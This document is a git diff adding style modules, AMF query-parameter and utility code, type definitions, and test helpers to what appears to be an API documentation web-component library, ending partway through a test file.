a/src/elements/styles/HttpRequest.js b/src/elements/styles/HttpRequest.js new file mode 100644 index 0000000..d5369de --- /dev/null +++ b/src/elements/styles/HttpRequest.js @@ -0,0 +1,39 @@ +import { css } from 'lit-element'; + +export default css` +:host { + display: block; +} + +.amf-server-selector, +.param-selector, +.form-input { + flex: 1; + margin: 0; +} + +.params-section { + margin: 20px 0; +} + +.section-title .label { + font-style: var(--http-request-section-title-font-size, 1.2rem); + font-weight: var(--http-request-section-title-font-weight, 500); +} + +.form-item { + margin: 12px 0; + display: flex; + align-items: center; + flex-direction: row; +} + +.array-form-item { + padding-left: 8px; + border-left: 1px var(--http-request-array-section-border-color, rgba(0, 0, 0, 0.14)) solid; +} + +.auth-selector { + margin: 12px 0; +} +`; diff --git a/src/elements/styles/ParametrizedSecurityElement.js b/src/elements/styles/ParametrizedSecurityElement.js new file mode 100644 index 0000000..c864fe4 --- /dev/null +++ b/src/elements/styles/ParametrizedSecurityElement.js @@ -0,0 +1,14 @@ +import { css } from 'lit-element'; + +export default css` +.security-title .label { + font-size: var(--parametrized-security-title-size, 18px); + font-weight: var(--parametrized-security-title-weight, 500); +} + +.params-title .label { + font-size: var(--parametrized-security-params-title-size, 16px); + font-weight: var(--parametrized-security-params-title-weight, 400); + margin: 12px 0px; +} +`; diff --git a/src/elements/styles/SchemaCommon.js b/src/elements/styles/SchemaCommon.js new file mode 100644 index 0000000..34d9768 --- /dev/null +++ b/src/elements/styles/SchemaCommon.js @@ -0,0 +1,324 @@ +import { css } from "lit-element"; + +export default css` + :host { + --column-padding-left: 84px; + --property-border-width: 3px; + --property-border-color: var(--primary-color, #2196f3); + --property-container-padding: 12px; + } + + .property-container { + display: flex; + align-items: flex-start; + } + + .property-container.simple { + flex-direction: column; + } + + .property-border { + width: var(--property-border-width); + min-width: var(--property-border-width); + align-self: stretch; + background-color: var(--property-border-color); + } + + .property-value { + padding: var(--property-container-padding) 0px; + flex: 1; + } + + .property-container:last-of-type .property-border { + align-self: flex-start; + /* padding of the content container + title container / 2 + border size / 2 */ + height: calc(var(--property-container-padding) + 52px / 2 + var(--property-border-width) / 2); + border-bottom-left-radius: var(--property-border-width); + } + + .shape-children .property-container:first-of-type .property-border { + border-top-right-radius: var(--property-border-width); + } + + .shape-children { + display: flex; + position: relative; + } + + .shape-children > .property-border { + background-color: var(--property-children-border-color, #bdbdbd); + margin-right: 21px; + } + + .shape-children::before { + content: ''; + width: calc(18px + var(--property-border-width) * 2); + height: var(--property-border-width); + background-color: var(--property-border-color); + position: absolute; + left: 0px; + top: 0px; + border-bottom-left-radius: var(--property-border-width); + } + + .shape-children:last-of-type > .property-border { + background-color: transparent; + } + + .union-options { + padding: 12px 0px 12px 20px; + border-left: var(--property-border-width) var(--property-border-color) dashed; + box-sizing: border-box; + } + + .shape-children:last-of-type > .property-border { + margin-bottom: 60px; + } + + .property-decorator { + width: var(--column-padding-left); + align-self: stretch; + display: flex; + align-items: center; + padding-right: 20px; + color: var(--property-border-color); + box-sizing: border-box; + } + + .property-decorator hr { + width: 100%; + border-color: currentColor; + border-width: var(--property-border-width); + border-style: solid; + border-top: none; + } + + .property-decorator.scalar::after { + content: ""; + display: inline-block; + width: 16px; + height: 16px; + min-width: 16px; + border-radius: 50%; + background-color: transparent; + border: 3px solid currentColor; + } + + .property-decorator.object::after { + content: ""; + display: inline-block; + width: 16px; + height: 16px; + min-width: 16px; + background-color: transparent; + border: 3px solid currentColor; + } + + .property-decorator.object .object-toggle-icon { + cursor: pointer; + } + + .object-toggle-icon { + width: 24px; + height: 24px; + min-width: 24px; + fill: currentColor; + transition: transform 0.23s linear; + } + + .object-toggle-icon.opened { + transform: rotate(90deg); + } + + .property-headline, + .property-container.simple .name-column { + display: flex; + align-items: center; + flex-direction: row; + height: 52px; + } + + .property-container:not(.simple) .name-column { + width: 140px; + margin-right: 20px; + } + + .property-container:not(.simple) .description-column { + padding-left: var(--column-padding-left); + } + + .property-container:not(.simple) .details-column { + padding-left: var(--column-padding-left); + } + + .details-column { + align-self: stretch; + } + + .param-name { + word-break: break-all; + } + + .param-name .param-label { + font-weight: var(--property-name-font-weight, var(--api-type-document-property-name-font-weight, 500)); + color: var(--property-name-color, var(--api-type-document-property-color, inherit)); + font-size: var(--property-name-font-size, var(--api-type-document-property-name-font-size, 1.2rem)); + } + + .param-name.required::after { + content: '*'; + margin-left: -4px; + } + + .param-name.deprecated { + text-decoration: line-through; + } + + .param-name-secondary { + margin-left: 8px; + } + + .headline-separator { + display: inline-block; + width: 1px; + background-color: gray; + align-self: stretch; + margin: 12px 20px; + } + + .param-type { + margin: 12px 12px 12px 0; + } + + .schema-property-item { + display: flex; + align-items: flex-start; + margin: 8px 0; + } + + .schema-property-label { + font-weight: var(--property-schema-property-label-font-weight, var(--api-type-document-property-range-attribute-label-font-weight, 500)); + margin-right: 8px; + } + + .schema-property-label.example { + margin-top: 8px; + } + + .schema-property-value { + word-break: break-all; + } + + .enum-items { + display: flex; + flex-wrap: wrap; + margin: 0; + padding: 0; + } + + .enum-items li { + list-style: none; + } + + .schema-example { + margin-bottom: 12px; + } + + .schema-example pre { + white-space: pre-wrap; + word-break: break-all; + margin: 0; + padding: 8px 4px; + } + + .schema-example summary { + font-size: 1.1rem; + padding: 8px 12px; + background-color: var(--api-example-title-background-color, #ff9800); + color: var(--api-example-title-color, #000); + border-radius: 4px; + cursor: default; + transition: border-radius ease-in-out 0.2s; + } + + .schema-example[open] summary { + border-bottom-right-radius: 0px; + border-bottom-left-radius: 0px; + } + + .code-value { + margin: 0px 4px; + padding: 2px 4px; + background-color: var(--code-background-color); + word-break: break-all; + white-space: pre-wrap; + } + + .code-value.inline { + padding: 0 4px; + } + + .code-value, + .code-value code { + font-family: var(--code-font-family); + user-select: text; + } + + .property-details { + margin: 20px 0; + } + + .property-details summary { + margin: 20px 0; + cursor: default; + } + .property-details summary .label { + margin-left: 8px; + } + + .example-items { + margin: 0; + padding: 0; + flex: 1; + } + + .example-items li { + display: block; + margin: 4px 0; + padding: 4px; + width: 100%; + white-space: pre-wrap; + background-color: var( + --operation-params-example-background-color, + var(--code-background-color) + ); + color: var(--operation-params-example-color, var(--code-color, inherit)); + } + + .pill { + background-color: var(--pill-background-color, var(--api-type-document-trait-background-color, #e5e5e5)); + color: var(--pill-color, var(--api-type-document-trait-color, var(--primary-text-color, #000))); + border-radius: var(--pill-border-radius, var(--api-type-document-trait-border-radius, 12px)); + font-size: var(--pill-font-size, var(--api-type-document-trait-font-size, inherit)); + padding: var(--pill-padding, var(--api-type-document-trait-padding, 2px 12px)); + margin: 4px; + } + + .pill.warning { + background-color: var(--pill-warning-background-color, #ffc107); + color: var(--pill-warning-color, var(--primary-text-color, #000)); + } + + .pill:first-child { + margin-left: 0; + } + + .pill:last-child { + margin-right: 0; + } + + .param-pills { + display: flex; + align-items: center; + } +`; diff --git a/src/lib/QueryParameterProcessor.js b/src/lib/QueryParameterProcessor.js new file mode 100644 index 0000000..41687c3 --- /dev/null +++ b/src/lib/QueryParameterProcessor.js @@ -0,0 +1,182 @@ +/* eslint-disable class-methods-use-this */ +import { ns } from '@api-components/amf-helper-mixin'; + +/** @typedef {import('@api-components/amf-helper-mixin').ApiNodeShape} ApiNodeShape */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiArrayShape} ApiArrayShape */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiShapeUnion} ApiShapeUnion */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiUnionShape} ApiUnionShape */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiScalarShape} ApiScalarShape */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiParameter} ApiParameter */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiPropertyShape} ApiPropertyShape */ +/** @typedef {import('../types').OperationParameter} OperationParameter */ + +/** + * A library to create a list of ApiParameters from a query string value. + */ +export class QueryParameterProcessor { + /** + * @param {ApiShapeUnion} schema + * @param {string} binding The parameter binding. + * @param {string=} source Optional parameter source. + * @returns {OperationParameter[]} + */ + collectOperationParameters(schema, binding, source) { + let result = []; + if (!schema) { + return result; + } + const { types } = schema; + if (types.includes(ns.aml.vocabularies.shapes.ScalarShape)) { + result.push(this.scalarShapeOperationParameter(/** @type ApiScalarShape */ (schema), binding, source)); + } else if (types.includes(ns.w3.shacl.NodeShape)) { + const params = this.nodeShapeOperationParameter(/** @type ApiNodeShape */ (schema), binding, source); + result = result.concat(params); + } else if (types.includes(ns.aml.vocabularies.shapes.ArrayShape)) { + const arrResult = this.arrayShapeOperationParameter(/** @type ApiArrayShape */ (schema), binding, source); + if (Array.isArray(arrResult)) { + result = result.concat(arrResult); + } else if (arrResult) { + result.push(arrResult); + } + } else if (types.includes(ns.aml.vocabularies.shapes.UnionShape)) { + const params = this.unionShapeOperationParameter(/** @type ApiUnionShape */ (schema), binding, source); + if (params) { + result = result.concat(params); + } + } + return result; + } + + /** + * @param {ApiScalarShape} shape + * @param {string} binding The parameter binding. + * @param {string=} source Optional parameter source. + * @returns {OperationParameter} + */ + scalarShapeOperationParameter(shape, binding, source) { + const { id, name } = shape; + const constructed = /** @type ApiParameter */ ({ + id, + binding, + schema: shape, + name, + examples: [], + payloads: [], + types: [ns.aml.vocabularies.apiContract.Parameter], + required: false, + }); + return { + binding, + paramId: id, + parameter: constructed, + source, + schemaId: id, + // @ts-ignore + schema: shape, + }; + } + + /** + * @param {ApiNodeShape} shape + * @param {string} binding The parameter binding. + * @param {string=} source Optional parameter source. + * @returns {OperationParameter[]} + */ + nodeShapeOperationParameter(shape, binding, source) { + const result = []; + const { properties=[] } = shape; + if (!properties.length) { + return result; + } + properties.forEach((prop) => { + result.push(this.parameterOperationParameter(prop, binding, source)); + }); + return result; + } + + /** + * @param {ApiPropertyShape} property The property to build the parameter for. + * @param {string} binding The parameter binding. + * @param {string=} source Optional parameter source. + * @returns {OperationParameter} + */ + parameterOperationParameter(property, binding, source) { + const { id, range, name, minCount } = property; + const constructed = /** @type ApiParameter */ ({ + id, + binding, + schema: range, + name, + examples: [], + payloads: [], + types: [ns.aml.vocabularies.apiContract.Parameter], + required: minCount > 0, + }); + return { + binding, + paramId: id, + parameter: constructed, + source, + schemaId: property.id, + schema: range, + }; + } + + /** + * @param {ApiArrayShape} shape + * @param {string} binding The parameter binding. + * @param {string=} source Optional parameter source. + * @returns {OperationParameter|OperationParameter[]} + */ + arrayShapeOperationParameter(shape, binding, source) { + const target = shape.items || shape; + if (target.types.includes(ns.w3.shacl.NodeShape)) { + const typed = /** @type ApiNodeShape */ (shape.items); + return this.collectOperationParameters(typed, binding, source); + } + const { id, name, } = target; + const constructed = /** @type ApiParameter */ ({ + id, + binding, + schema: shape, + name, + examples: [], + payloads: [], + types: [ns.aml.vocabularies.apiContract.Parameter], + required: false, + }); + return { + binding, + paramId: id, + parameter: constructed, + source, + schemaId: id, + schema: shape, + }; + } + + /** + * @param {ApiUnionShape} shape + * @param {string} binding The parameter binding. + * @param {string=} source Optional parameter source. + * @returns {OperationParameter[]|undefined} + */ + unionShapeOperationParameter(shape, binding, source) { + const { anyOf=[], or=[], and=[], xone=[] } = shape; + if (and.length) { + let result = []; + and.forEach((item) => { + const itemResult = this.collectOperationParameters(item, binding, source); + if (itemResult) { + result = result.concat(itemResult); + } + }); + return result; + } + const info = anyOf[0] || or[0] || xone[0]; + if (!info) { + return undefined; + } + return this.collectOperationParameters(info, binding, source); + } +} diff --git a/src/lib/Utils.js b/src/lib/Utils.js new file mode 100644 index 0000000..75f6880 --- /dev/null +++ b/src/lib/Utils.js @@ -0,0 +1,170 @@ +import { ns } from '@api-components/amf-helper-mixin'; +import sanitizer from 'dompurify'; + +/** @typedef {import('@api-components/amf-helper-mixin').ApiShapeUnion} ApiShapeUnion */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiScalarShape} ApiScalarShape */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiArrayShape} ApiArrayShape */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiTupleShape} ApiTupleShape */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiUnionShape} ApiUnionShape */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiParameter} ApiParameter */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiPropertyShape} ApiPropertyShape */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiNodeShape} ApiNodeShape */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiAnyShape} ApiAnyShape */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiServer} ApiServer */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiParametrizedDeclaration} ApiParametrizedDeclaration */ +/** @typedef {import('../types').OperationParameter} OperationParameter */ + +/** + * @param {string[]} types Shape's types + */ +export function isScalarType(types=[]) { + const { shapes } = ns.aml.vocabularies; + return types.includes(shapes.ScalarShape) || + types.includes(shapes.NilShape) || + types.includes(shapes.FileShape); +} + +/** + * @param {string} value The value from the graph model to use to read the value from + */ +export function schemaToType(value) { + const typed = String(value); + let index = typed.lastIndexOf('#'); + if (index === -1) { + index = typed.lastIndexOf('/'); + } + let v = typed.substr(index + 1); + if (v) { + v = `${v[0].toUpperCase()}${v.substr(1)}` + } + return v; +} + +/** + * Reads the label for a data type for a shape union. + * @param {ApiShapeUnion} schema + * @param {boolean=} [isArray] Used internally + * @returns {string|undefined} Computed label for a shape. + */ +export function readPropertyTypeLabel(schema, isArray=false) { + if (!schema) { + return undefined; + } + const { types } = schema; + if (types.includes(ns.aml.vocabularies.shapes.NilShape)) { + return 'Nil'; + } + if (types.includes(ns.aml.vocabularies.shapes.ScalarShape)) { + const scalar = /** @type ApiScalarShape */ (schema); + return schemaToType(scalar.dataType || ''); + } + if (types.includes(ns.aml.vocabularies.shapes.TupleShape)) { + const array = /** @type ApiTupleShape */ (schema); + if (!array.items || !array.items.length) { + return undefined; + } + const label = readPropertyTypeLabel(array.items[0], true); + return `List of ${label}`; + } + if (types.includes(ns.aml.vocabularies.shapes.ArrayShape)) { + const array = /** @type ApiArrayShape */ (schema); + if (!array.items) { + return undefined; + } + let label = readPropertyTypeLabel(array.items, true); + if (label === 'items' && !isScalarType(array.items.types)) { + label = 'objects'; + } + return `List of ${label}`; + } + if (types.includes(ns.w3.shacl.NodeShape)) { + let { name } = /** @type ApiNodeShape */ (schema); + const { properties } = /** @type ApiNodeShape */ (schema); + if (isArray && properties && properties.length === 1) { + const potentialScalar = /** @type ApiScalarShape */ (properties[0].range); + if (potentialScalar.types.includes(ns.aml.vocabularies.shapes.ScalarShape)) { + return schemaToType(potentialScalar.dataType || ''); + } + } + if (name === 'type') { + // AMF seems to put `type` value into a property that is declared inline (?). + name = undefined; + } + return name || 'Object'; + } + if (types.includes(ns.aml.vocabularies.shapes.UnionShape)) { + const union = /** @type ApiUnionShape */ (schema); + const items = union.anyOf.map(i => readPropertyTypeLabel(i)); + return items.join(' or '); + } + if (types.includes(ns.aml.vocabularies.shapes.FileShape)) { + return 'File'; + } + return schema.name || 'Unknown'; +} + +/** + * @param {ApiShapeUnion[]} shapes + * @returns {boolean} true when all of passed shapes are scalar. + */ +function isAllScalar(shapes=[]) { + return !shapes.some(i => !isScalarType(i.types)); +} + +/** + * @param {ApiUnionShape} shape + * @returns {boolean} true when the passed union type consists of scalar values only. Nil counts as scalar. + */ +export function isScalarUnion(shape) { + const { anyOf=[], or=[], and=[], xone=[] } = shape; + if (anyOf.length) { + return isAllScalar(anyOf); + } + if (or.length) { + return isAllScalar(or); + } + if (and.length) { + return isAllScalar(and); + } + if (xone.length) { + return isAllScalar(xone); + } + return true; +} + +/** + * @param {string} HTML + * @returns {string} + */ +export function sanitizeHTML(HTML) { + const result = sanitizer.sanitize(HTML, { + ADD_ATTR: ['target', 'href'], + ALLOWED_TAGS: ['a'], + USE_PROFILES: {html: true}, + }); + + if (typeof result === 'string') { + return result; + } + + // @ts-ignore + return result.toString(); +} + +/** + * @param {ApiParametrizedDeclaration[]} traits + */ +export function joinTraitNames(traits) { + const names = traits.map(trait => trait.name).filter(i => !!i); + let value = ''; + if (names.length === 2) { + value = names.join(' and '); + } else if (value.length > 2) { + const last = names.pop(); + value = names.join(', '); + value += `, and ${last}`; + } else { + value = names.join(', '); + } + return value; +} diff --git a/src/types.d.ts b/src/types.d.ts new file mode 100644 index 0000000..cc908f7 --- /dev/null +++ b/src/types.d.ts @@ -0,0 +1,21 @@ +import { ApiParameter, ApiShapeUnion } from "@api-components/amf-helper-mixin"; + +export interface OperationParameter { + parameter: ApiParameter; + schema?: ApiShapeUnion; + paramId: string; + schemaId?: string; + binding: string; + source: string; +} + +export interface ApiSummaryEndpoint { + id: string; + path: string; + name?: string; + ops?: ApiSummaryOperation[]; +} +export interface ApiSummaryOperation { + id: string; + method: string; +} diff --git a/test/AmfLoader.js b/test/AmfLoader.js new file mode 100644 index 0000000..e4c7575 --- /dev/null +++ b/test/AmfLoader.js @@ -0,0 +1,382 @@ +/* eslint-disable no-continue */ +/* eslint-disable no-param-reassign */ +import { AmfHelperMixin, AmfSerializer } from '@api-components/amf-helper-mixin'; + +/** @typedef {import('@api-components/amf-helper-mixin').AmfDocument} AmfDocument */ +/** @typedef {import('@api-components/amf-helper-mixin').EndPoint} EndPoint */ +/** @typedef {import('@api-components/amf-helper-mixin').Operation} Operation */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiOperation} ApiOperation */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiEndPoint} ApiEndPoint */ +/** @typedef {import('@api-components/amf-helper-mixin').Payload} Payload */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiPayload} ApiPayload */ +/** @typedef {import('@api-components/amf-helper-mixin').SecurityRequirement} SecurityRequirement */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiSecurityRequirement} ApiSecurityRequirement */ +/** @typedef {import('@api-components/amf-helper-mixin').Shape} Shape */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiShapeUnion} ApiShapeUnion */ +/** @typedef {import('@api-components/amf-helper-mixin').CreativeWork} CreativeWork */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiDocumentation} ApiDocumentation */ +/** @typedef {import('@api-components/amf-helper-mixin').WebApi} WebApi */ +/** @typedef {import('@api-components/amf-helper-mixin').Response} Response */ +/** @typedef {import('@api-components/amf-helper-mixin').Request} Request */ + +/** + * @typedef EndpointOperation + * @property {EndPoint} endpoint + * @property {Operation} operation + */ + +export class AmfLoader extends AmfHelperMixin(Object) { + /** + * Reads AMF graph model as string + * @param {boolean=} [compact='false'] + * @param {string=} [fileName='demo-api'] + * @returns {Promise} + */ + async getGraph(compact=false, fileName='demo-api') { + const suffix = compact ? '-compact' : ''; + const file = `${fileName}${suffix}.json`; + const url = `${window.location.protocol}//${window.location.host}/demo/models/${file}`; + const response = await fetch(url); + if (!response.ok) { + throw new Error('Unable to download API data model'); + } + let result = await response.json(); + if (Array.isArray(result)) { + [result] = result; + } + return result; + } + + /** + * @param {AmfDocument} model + * @param {string} path + * @return {EndPoint} + */ + lookupEndpoint(model, path) { + this.amf = model; + const webApi = this._computeApi(model); + return this._computeEndpointByPath(webApi, path); + } + + /** + * @param {AmfDocument} model + * @param {string} path + * @return {ApiEndPoint} + */ + getEndpoint(model, path) { + const op = this.lookupEndpoint(model, path); + if (!op) { + throw new Error(`Unknown endpoint for path ${path}`); + } + const serializer = new AmfSerializer(model); + return serializer.endPoint(op); + } + + /** + * @param {AmfDocument} model + * @param {string} endpoint + * @param {string} operation + * @return {Operation} + */ + lookupOperation(model, endpoint, operation) { + const endPoint = this.lookupEndpoint(model, endpoint); + const opKey = this._getAmfKey(this.ns.aml.vocabularies.apiContract.supportedOperation); + const ops = this._ensureArray(endPoint[opKey]); + return ops.find((item) => this._getValue(item, this.ns.aml.vocabularies.apiContract.method) === operation); + } + + /** + * @param {AmfDocument} model + * @param {string} path + * @param {string} operation + * @return {EndpointOperation} + */ + lookupEndpointOperation(model, path, operation) { + const endpoint = this.lookupEndpoint(model, path); + const opKey = this._getAmfKey(this.ns.aml.vocabularies.apiContract.supportedOperation); + const ops = this._ensureArray(endpoint[opKey]); + const op = ops.find((item) => this._getValue(item, this.ns.aml.vocabularies.apiContract.method) === operation); + return { + endpoint, + operation: op, + }; + } + + /** + * @param {AmfDocument} model + * @param {string} endpoint + * @param {string} operation + * @return {ApiOperation} + */ + getOperation(model, endpoint, operation) { + const op = this.lookupOperation(model, endpoint, operation); + if (!op) { + throw new Error(`Unknown ${operation} operation for path ${endpoint}`); + } + const serializer = new AmfSerializer(model); + return serializer.operation(op); + } + + /** + * @param {AmfDocument} model + * @param {string} endpoint + * @param {string} operation + * @return {Payload[]} + */ + lookupPayloads(model, endpoint, operation) { + const op = this.lookupOperation(model, endpoint, operation); + const expects = this._computeExpects(op); + let payloads = this._computePayload(expects); + if (payloads && !Array.isArray(payloads)) { + payloads = [payloads]; + } + return payloads; + } + + /** + * @param {AmfDocument} model + * @param {string} endpoint + * @param {string} operation + * @return {ApiPayload[]} + */ + getPayloads(model, endpoint, operation) { + const payloads = this.lookupPayloads(model, endpoint, operation); + if (!payloads) { + throw new Error(`No payloads for path ${endpoint} and operation ${operation}`); + } + const serializer = new AmfSerializer(model); + return payloads.map(i => serializer.payload(i)); + } + + /** + * @param {AmfDocument} model + * @param {string} name + * @returns {SecurityRequirement} + */ + lookupSecurity(model, name) { + this.amf = model; + const webApi = this._hasType(model, this.ns.aml.vocabularies.document.Document) ? + this._computeApi(model) : + model; + const declares = this._computeDeclares(webApi) || []; + let security = declares.find((item) => { + if (Array.isArray(item)) { + [item] = item; + } + const result = this._getValue(item, this.ns.aml.vocabularies.core.name) === name; + if (result) { + return result; + } + return this._getValue(item, this.ns.aml.vocabularies.security.name) === name; + }); + if (Array.isArray(security)) { + [security] = security; + } + if (!security) { + const references = this._computeReferences(model) || []; + for (let i = 0, len = references.length; i < len; i++) { + if (!this._hasType(references[i], this.ns.aml.vocabularies.document.Module)) { + continue; + } + security = this.lookupSecurity(references[i], name); + if (security) { + break; + } + } + } + return security; + } + + /** + * @param {AmfDocument} model + * @param {string} name + * @return {ApiSecurityRequirement} + */ + getSecurity(model, name) { + const security = this.lookupSecurity(model, name); + if (!security) { + throw new Error(`No security named ${name}`); + } + const serializer = new AmfSerializer(model); + return serializer.securityRequirement(security); + } + + /** + * @param {AmfDocument} model + * @param {string} name + * @returns {Shape} + */ + lookupShape(model, name) { + let amf = model; + if (Array.isArray(amf)) { + [amf] = amf; + } + this.amf = amf; + const declares = (this._computeDeclares(amf) || []); + let shape = declares.find((item) => { + if (Array.isArray(item)) { + [item] = item; + } + return this._getValue(item, this.ns.w3.shacl.name) === name; + }); + if (Array.isArray(shape)) { + [shape] = shape; + } + if (!shape) { + const references = this._computeReferences(model) || []; + for (let i = 0, len = references.length; i < len; i++) { + if (!this._hasType(references[i], this.ns.aml.vocabularies.document.Module)) { + continue; + } + shape = this.lookupShape(references[i], name); + if (shape) { + break; + } + } + } + return shape; + } + + /** + * @param {AmfDocument} model + * @param {string} name + * @returns {ApiShapeUnion} + */ + getShape(model, name) { + const shape = this.lookupShape(model, name); + if (!shape) { + throw new Error(`No API shape named ${name}`); + } + const serializer = new AmfSerializer(model); + return serializer.unknownShape(shape); + } + + /** + * @param {AmfDocument} model + * @param {string} name + * @returns {CreativeWork} + */ + lookupDocumentation(model, name) { + this.amf = model; + const webApi = this._computeApi(model); + const key = this._getAmfKey(this.ns.aml.vocabularies.core.documentation); + const docs = this._ensureArray(webApi[key]); + return docs.find((item) => { + if (Array.isArray(item)) { + [item] = item; + } + return this._getValue(item, this.ns.aml.vocabularies.core.title) === name; + }); + } + + /** + * @param {AmfDocument} model + * @param {string} name + * @returns {ApiDocumentation} + */ + getDocumentation(model, name) { + const shape = this.lookupDocumentation(model, name); + if (!shape) { + throw new Error(`No documentation named ${name}`); + } + const serializer = new AmfSerializer(model); + return serializer.documentation(shape); + } + + /** + * @param {AmfDocument} model + * @returns {WebApi} + */ + lookupEncodes(model) { + if (Array.isArray(model)) { + [model] = model; + } + this.amf = model; + const key = this._getAmfKey(this.ns.aml.vocabularies.document.encodes); + let result = model[key]; + if (Array.isArray(result)) { + [result] = result; + } + return result; + } + + /** + * @param {AmfDocument} model + * @param {string} endpoint + * @param {string} operation + * @return {Response[]} + */ + lookupResponses(model, endpoint, operation) { + const method = this.lookupOperation(model, endpoint, operation); + return this._computeReturns(method); + } + + /** + * @param {AmfDocument} model + * @param {string} path The endpoint path + * @param {string} operation The operation path + * @param {string} code The response's status code + * @returns {Response} + */ + lookupResponse(model, path, operation, code) { + const responses = this.lookupResponses(model, path, operation); + if (!Array.isArray(responses) || !responses.length) { + throw new Error(`No responses for path ${path} and operation ${operation}`); + } + const response = responses.find((item) => { + if (this._getValue(item, this.ns.aml.vocabularies.apiContract.statusCode) === String(code)) { + return true; + } + return false; + }); + if (!response) { + throw new Error(`No responses the status code ${code}`); + } + return response; + } + + /** + * @param {AmfDocument} model + * @param {string} endpoint + * @param {string} operation + * @return {Request} + */ + lookupRequest(model, endpoint, operation) { + const method = this.lookupOperation(model, endpoint, operation); + let requests = method[this._getAmfKey(this.ns.aml.vocabularies.apiContract.expects)]; + if (Array.isArray(requests)) { + [requests] = requests; + } + if (!requests) { + throw new Error(`No request found in operation ${operation} and path ${endpoint}`); + } + return requests; + } + + /** + * @param {AmfDocument} model + * @param {string} path The endpoint path + * @param {string} operation The operation path + * @param {string} code The response's status code + * @returns {Payload[]} + */ + lookupResponsePayloads(model, path, operation, code) { + const response = this.lookupResponse(model, path, operation, code); + const pKey = this._getAmfKey(this.ns.aml.vocabularies.apiContract.payload); + const payloads = response[pKey]; + return this._ensureArray(payloads); + } + + /** + * @param {AmfDocument} model + * @param {string} path The endpoint path + * @param {string} operation The operation path + * @param {string} code The response's status code + * @returns {ApiPayload[]} + */ + getResponsePayloads(model, path, operation, code) { + const payloads = this.lookupResponsePayloads(model, path, operation, code); + const serializer = new AmfSerializer(model); + return payloads.map(p => serializer.payload(p)); + } +} diff --git a/test/MonacoSetup.js b/test/MonacoSetup.js new file mode 100644 index 0000000..aeb615e --- /dev/null +++ b/test/MonacoSetup.js @@ -0,0 +1,55 @@ +// @ts-ignore +window.MonacoEnvironment = { + getWorker: (moduleId, label) => { + let url; + const prefix = 'node_modules/monaco-editor/esm/vs/'; + const langPrefix = `${prefix}language/`; + switch (label) { + case 'json': url = `${langPrefix}json/json.worker.js`; break; + case 'css': url = `${langPrefix}css/css.worker.js`; break; + case 'html': url = `${langPrefix}html/html.worker.js`; break; + case 'javascript': + case 'typescript': url = `${langPrefix}typescript/ts.worker.js`; break; + default: url = `${prefix}editor/editor.worker.js`; break; + } + return new Worker(url, { + type: 'module' + }); + } +} + +export async function loadMonaco() { + let interval; + return new Promise((resolve) => { + interval = setInterval(() => { + // @ts-ignore + if (window.monaco) { + clearInterval(interval); + resolve(); + } + }, 20); + }); +} + + +(() => { + // @ts-ignore + if (window.monaco) { + return; + } + // @ts-ignore + window.require = { paths: { vs: 'node_modules/monaco-editor/min/vs' } }; + + function loadScript(src) { + const script = document.createElement('script'); + script.src = src; + script.defer = false; + script.async = false; + script.type = "text/javascript"; + document.getElementsByTagName('head')[0].appendChild(script); + } + + loadScript('node_modules/monaco-editor/min/vs/loader.js'); + loadScript('node_modules/monaco-editor/min/vs/editor/editor.main.nls.js'); + loadScript('node_modules/monaco-editor/min/vs/editor/editor.main.js'); +})(); diff --git a/test/elements/ApiAnnotationDocumentElement.test.js b/test/elements/ApiAnnotationDocumentElement.test.js new file mode 100644 index 0000000..085e0e0 --- /dev/null +++ b/test/elements/ApiAnnotationDocumentElement.test.js @@ -0,0 +1,130 @@ +import { fixture, assert, nextFrame, html } from '@open-wc/testing'; +import { AmfLoader } from '../AmfLoader.js'; +import '../../api-annotation-document.js'; + +/** @typedef {import('../../').ApiAnnotationDocumentElement} ApiAnnotationDocumentElement */ +/** @typedef {import('@api-components/amf-helper-mixin').AmfDocument} AmfDocument */ +/** @typedef {import('@api-components/amf-helper-mixin').DomainElement} DomainElement */ + +describe('ApiAnnotationDocumentElement', () => { + const loader = new AmfLoader(); + const apiFile = 'annotated-api'; + /** + * @param {AmfDocument} amf + * @param {DomainElement=} shape + * @returns {Promise} + */ + async function basicFixture(amf, shape) { + return fixture(html``); + } + + describe('a11y', () => { + /** @type ApiAnnotationDocumentElement */ + let element; + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(true, apiFile); + }); + + beforeEach(async () => { + const shape = loader.lookupShape(model, 'ComplexAnnotations'); + element = await basicFixture(model, shape); + await nextFrame(); + }); + + it('is accessible', async () => { + await assert.isAccessible(element); + }); + }); + + [false, true].forEach((compact) => { + describe(compact ? 'Compact model' : 'Full model', () => { + describe('Model computations', () => { + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(compact, apiFile); + }); + + /** @type ApiAnnotationDocumentElement */ + let element; + beforeEach(async () => { + element = await basicFixture(model); + }); + + it('computes hasCustomProperties when no annotations', () => { + const shape = loader.lookupShape(model, 'NoAnnotations'); + element.shape = shape; + assert.isFalse(element.hasCustomProperties); + }); + + it('computes hasCustomProperties when has the annotations', () => { + const shape = loader.lookupShape(model, 'ComboType'); + element.shape = shape; + assert.isTrue(element.hasCustomProperties); + }); + + it('computes the list of annotations', () => { + const shape = loader.lookupShape(model, 'ComboType'); + element.shape = shape; + assert.typeOf(element.customProperties, 'array'); + assert.lengthOf(element.customProperties, 3); + }); + + it('renders a nil annotation', async () => { + const shape = loader.lookupShape(model, 'notRequiredRepeatable'); + element.shape = shape; + await nextFrame(); + const node = element.shadowRoot.querySelectorAll('.custom-property')[0]; + assert.ok(node, 